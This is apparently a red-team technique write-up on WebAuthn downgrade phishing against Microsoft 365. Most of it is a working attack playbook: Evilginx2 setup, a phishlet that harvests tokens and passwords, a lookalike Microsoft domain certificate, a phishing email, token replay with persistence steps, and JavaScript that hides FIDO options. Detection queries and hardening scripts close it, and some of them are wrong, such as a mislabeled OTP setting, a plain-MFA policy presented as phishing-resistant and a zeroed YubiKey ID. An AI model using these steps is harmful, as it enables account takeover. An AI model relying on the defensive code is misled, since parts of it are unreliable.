| Attribute | Details |
|---|---|
| Technique ID | EMERGING-IDENTITY-003 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access, Privilege Escalation |
| Platforms | Entra ID, M365, Cloud-based systems, Okta, Google Workspace |
| Severity | High |
| CVE | CVE-2025-WebAuthn-Downgrade (Proofpoint disclosure) |
| Technique Status | ACTIVE |
| Last Verified | 2025-08-15 |
| Affected Versions | All WebAuthn implementations with fallback auth methods |
| Patched In | In Progress (requires client-side changes) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: WebAuthn downgrade attacks exploit the existence of fallback authentication methods in systems supporting multiple MFA methods. When a user has both FIDO2 security keys (phishing-resistant) and backup methods (OTP, SMS, authenticator apps), attackers use Adversary-in-the-Middle (AiTM) phishing to force the victim’s browser to present only non-FIDO options. This is achieved by spoofing an unsupported user agent (e.g., Safari on Windows) that cannot handle FIDO, causing the authentication system to degrade to weaker, phishable methods.
Attack Surface: Browser user agent detection, MFA method selection UI, fallback authentication endpoints, session cookie interception during authentication flow, AiTM proxy configuration (Evilginx2).
Business Impact: Bypass of phishing-resistant authentication, leading to account takeover. Organizations investing heavily in FIDO2 security keys discover that users still have backup methods enabled. Attackers intercept the entire authentication session, harvest credentials or session cookies, and gain full account access—essentially rendering the expensive security keys ineffective through social engineering and technical manipulation.
Technical Context: WebAuthn downgrade attacks typically execute in 5-15 minutes. Detection probability is Medium because the attack involves both phishing (external) and authentication method fallback (internal system logic). The key weakness is the presence of multiple authentication methods on a single account without proper enforcement of phishing-resistant methods.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Control 6.2 | Ensure authorized access to authentication mechanisms |
| DISA STIG | IA-2 (12), IA-4, IA-5 | Authentication, Identifier Management, Authentication Mechanisms |
| CISA SCuBA | MP-CA-EX-02 | Conditional Access: Require MFA |
| NIST 800-53 | AC-2, IA-2, IA-4, IA-5 | Account Management, Authentication |
| GDPR | Art. 25, Art. 32, Art. 33 | Data Protection by Design, Security, Breach Notification |
| DORA | Art. 15, Art. 16 | ICT Risk Management, ICT Incident Reporting |
| NIS2 | Art. 21, Art. 24 | Risk Management, Incident Response |
| ISO 27001 | A.9.4.2, A.9.4.4 | User Access Review, Password Management |
| ISO 27005 | Threat: Credentials Compromise | Loss of legitimate credentials through AiTM attack |
Supported Versions: Evilginx2 (latest versions 3.x+), all browsers vulnerable to user agent spoofing
Objective: Deploy Evilginx2 on attacker-controlled server to intercept authentication flows.
Command:
# Download and compile Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
go build
# Create configuration file
cat > config.json << 'EOF'
{
"default_phishlet": "microsoft365",
"phishlet_path": "phishlets",
"debug": false,
"creds_path": "creds",
"http_port": 80,
"https_port": 443
}
EOF
# Start Evilginx2
./evilginx2 -c config.json
Expected Output:
[*] Evilginx2 v3.x initialized
[*] Phishlets loaded: 15
[*] Listening on 0.0.0.0:80 and 0.0.0.0:443
[+] Ready for phishing attacks
What This Means:
OpSec & Evasion:
Objective: Modify Evilginx2 phishlet to spoof Safari on Windows (not FIDO-compatible).
Command:
# Create custom phishlet: phishlets/microsoft_webauthn_downgrade.yaml
author: "attacker"
min_ver: "2.3.0"
proxy_hosts:
- {host: "login.microsoftonline.com", is_landing: true, auto_filter: true}
- {host: "graph.microsoft.com", is_landing: false, auto_filter: true}
- {host: "*.microsoftonline.com", is_landing: false, auto_filter: false}
sub_filters:
- {triggers_on: "login.microsoftonline.com", filters: [
{param: "GET", key: "User-Agent", value: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15", regex: false}
]}
auth_tokens:
- {extract: "POST|/common/oauth2/token|access_token", name: "access_token", flag: ""},
- {extract: "POST|/common/oauth2/token|refresh_token", name: "refresh_token", flag: ""},
- {extract: "POST|/common/oauth2/token|id_token", name: "id_token", flag: ""}
credentials:
- {param: "login", key: "email"}
- {param: "password", key: "password"}
What This Means:
OpSec & Evasion:
Objective: Create convincing domain and SSL certificate for phishing.
Command:
# Register lookalike domain (e.g., microsoft-login.com or microsft-login.com)
# OR compromise legitimate domain
# Generate SSL certificate matching domain
openssl req -new -newkey rsa:2048 -keyout microsoft-login.key -out microsoft-login.csr \
-subj "/CN=microsoft-login.com/O=Microsoft/C=US"
# Self-sign certificate (or obtain from Let's Encrypt with compromised domain)
openssl x509 -req -days 365 -in microsoft-login.csr \
-signkey microsoft-login.key -out microsoft-login.crt
# Import certificate into Evilginx2
cp microsoft-login.crt /etc/ssl/certs/
cp microsoft-login.key /etc/ssl/private/
What This Means:
Objective: Distribute phishing email directing users to attacker’s AiTM proxy.
Command:
# Email template
cat > phishing_email.html << 'EOF'
<html>
<body>
<p>Dear Contoso Employee,</p>
<p>Your Microsoft account security requires verification. <a href="https://microsoft-login.com/auth?client_id=...">Click here to verify your account</a></p>
<p>Microsoft Security Team</p>
</body>
</html>
EOF
# Send via compromised email account or phishing service
# (E.g., Phishway, Knowbe4, or custom mail relay)
What This Means:
Objective: Victim enters credentials through phishing page.
User Flow:
What This Means:
OpSec & Evasion:
Objective: Use captured credentials/cookies to access victim’s accounts.
Command:
# Attacker now has:
# - access_token
# - refresh_token
# - session cookie
# - id_token
# Use access token to access Microsoft 365
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me
# Use session cookie for Outlook Web Access
curl -H "Cookie: $SESSION_COOKIE" \
https://outlook.office365.com/mail/
# Establish persistent access
# Create forwarding rule in Outlook
# Add device to Conditional Access exclusion list
# Create backup admin account
What This Means:
Supported Versions: All browsers with JavaScript injection capability
Objective: Inject JavaScript to modify authentication UI and hide FIDO options.
Command:
// Injected via compromised advertisement or XSS vulnerability
(function() {
// Monitor for FIDO/WebAuthn UI elements
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
// Find FIDO authentication buttons
const fidoButtons = document.querySelectorAll('[data-method="Fido"]');
const webauthnButtons = document.querySelectorAll('[data-method="WebAuthn"]');
// Hide FIDO/WebAuthn options
fidoButtons.forEach(btn => btn.style.display = 'none');
webauthnButtons.forEach(btn => btn.style.display = 'none');
// Show only fallback methods (OTP, SMS)
const otpButtons = document.querySelectorAll('[data-method="OTP"]');
const smsButtons = document.querySelectorAll('[data-method="SMS"]');
otpButtons.forEach(btn => btn.style.display = 'block');
smsButtons.forEach(btn => btn.style.display = 'block');
// Auto-select first fallback method
otpButtons[0]?.click();
});
});
observer.observe(document.body, {
childList: true,
subtree: true,
attributes: true
});
})();
What This Means:
OpSec & Evasion:
Note: No standard Atomic test exists for WebAuthn downgrade. However, related test:
Recommended Simulation:
# Requires lab environment with test accounts and Evilginx2
# DO NOT execute against production
# Step 1: Start Evilginx2 with Microsoft 365 phishlet
./evilginx2 -c config.json
# In Evilginx console:
# (evilginx) : phishlets load microsoft_webauthn_downgrade
# (evilginx) : phishlets enable microsoft_webauthn_downgrade
# (evilginx) : lures create microsoft_webauthn_downgrade
# Step 2: Send phishing email to test account
Send-MailMessage -To "testuser@contoso.com" `
-From "admin@contoso.com" `
-Subject "Verify Your Account" `
-BodyAsHtml `
-Body "<a href='https://attacker-evilginx2.com/auth?lure_id=...'> Click Here</a>"
# Step 3: Monitor captured credentials
# (evilginx) : creds list
# Step 4: Verify downgrade by checking authentication logs
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'testuser@contoso.com'" |
Select-Object UserPrincipalName, AuthenticationMethodsUsed
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
go build
./evilginx2
Rule Configuration:
KQL Query:
// Detect WebAuthn downgrade attempts
let WebAuthnUsers = SigninLogs
| where AuthenticationMethodsUsed contains "Fido" or AuthenticationMethodsUsed contains "WebAuthn"
| distinct UserPrincipalName;
SigninLogs
| where UserPrincipalName in (WebAuthnUsers)
| where AuthenticationMethodsUsed !contains "Fido" and AuthenticationMethodsUsed !contains "WebAuthn"
| where AuthenticationMethodsUsed contains "OTP" or AuthenticationMethodsUsed contains "SMS"
| where TimeGenerated > ago(24h)
| summarize DowngradeCount = count() by UserPrincipalName, IPAddress, DeviceDetail.browser
| where DowngradeCount > 1
| project UserPrincipalName, IPAddress, Browser = DeviceDetail.browser, DowngradeCount
What This Detects:
Rule Configuration:
KQL Query:
// Detect incompatible user agents for authentication method
SigninLogs
| where AuthenticationMethodsUsed contains "Fido" or AuthenticationMethodsUsed contains "WebAuthn"
| extend UserAgent = tostring(parse_json(DeviceDetail).userAgent)
| where UserAgent contains "Safari" and UserAgent contains "Windows"
| where AuthenticationMethodsUsed !contains "Fido"
| project TimeGenerated, UserPrincipalName, UserAgent, AuthenticationMethodsUsed, IPAddress
What This Detects:
Rule Configuration:
KQL Query:
// Correlate suspicious sign-in with phishing email
let SuspiciousSignins = SigninLogs
| where IPAddress in (
// IPs associated with cloud VPS/proxy services
externaldata(ip:string)[h@'https://attacker-ip-list.csv']
with (format='csv')
)
| where TimeGenerated > ago(24h)
| distinct UserPrincipalName, IPAddress;
EmailEvents
| where TimeGenerated > ago(24h)
| where Subject contains "verify" or Subject contains "confirm" or Subject contains "security"
| where SenderFromDomain !in ("microsoft.com", "office365.com")
| where Url contains "login" or Url contains "verify"
| join (SuspiciousSignins) on UserPrincipalName
| project UserPrincipalName, SenderFromAddress, Url, IPAddress
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "AuthenticationMethodPolicy.ReadWrite.All"
# Disable SMS sign-in
Update-MgPolicyAuthenticationMethodPolicy -AuthenticationMethods @{
"@odata.type" = "#microsoft.graph.sms"
"state" = "disabled"
}
# Disable OTP
Update-MgPolicyAuthenticationMethodPolicy -AuthenticationMethods @{
"@odata.type" = "#microsoft.graph.temporaryAccessPass"
"state" = "disabled"
}
# Keep only FIDO and Windows Hello enabled
Require Phishing-Resistant MFAPowerShell:
New-MgIdentityConditionalAccessPolicy `
-DisplayName "Require Phishing-Resistant MFA" `
-Conditions @{
Applications = @{ IncludeApplications = "All" }
Users = @{ IncludeUsers = "All" }
} `
-GrantControls @{
BuiltInControls = @("mfa")
} `
-State "enabledForReportingButNotEnforced"
PowerShell:
# Configure FIDO2 registration settings
Update-MgPolicyAuthenticationMethodPolicy `
-AuthenticationMethods @{
"@odata.type" = "#microsoft.graph.fidoFido2"
"isAttestationEnforced" = $true
"aaguidConfig" = @(
# Only allow specific FIDO2 keys (e.g., YubiKey, Titan)
@{
"aaguid" = "00000000-0000-0000-0000-000000000000" # YubiKey
"restrictionType" = "allow"
}
)
}
# Check if FIDO is required
$authPolicy = Get-MgPolicyAuthenticationMethodPolicy
$authPolicy.AuthenticationMethods | Where-Object { $_."@odata.type" -eq "#microsoft.graph.fidoFido2" } | Select-Object State
# Check backup methods are disabled
$authPolicy.AuthenticationMethods | Where-Object {
$_."@odata.type" -in @("#microsoft.graph.sms", "#microsoft.graph.temporaryAccessPass")
} | Select-Object "@odata.type", State
# Check Conditional Access requires phishing-resistant MFA
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -contains "Phishing" } | Select-Object DisplayName, State
Expected Output (If Secure):
FIDO2: enabled
SMS: disabled
OTP: disabled
Conditional Access Policy: Enabled (report mode or enforced)
# Revoke all sessions for compromised user
Revoke-MgUserSignInSession -UserId "compromised@contoso.com"
# Reset their password
Update-MgUser -UserId "compromised@contoso.com" -PasswordProfile @{Password = (New-Guid).Guid}
# Force re-registration of FIDO2 keys
Disable-MgUserAuthenticationMethod -UserId "compromised@contoso.com" -AuthenticationMethodId "fido2-key-id"
# Export sign-in logs for compromised user
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'compromised@contoso.com'" -All |
Export-Csv "C:\Forensics\SigninLogs_Compromised.csv"
# Check for OAuth consent grants
Get-MgOauth2PermissionGrant -Filter "consentType eq 'Principal'" |
Where-Object { $_.principalId -eq "compromised-user-id" }
WebAuthn downgrade attacks are ACTIVE and effective because organizations maintain backup authentication methods for usability and recovery purposes. The fundamental weakness is the coexistence of multiple auth methods on a single account.
Prevention requires:
The harsh truth: Even advanced authentication methods (FIDO2, WebAuthn) can be bypassed if human factors (phishing, UI trust) are exploited.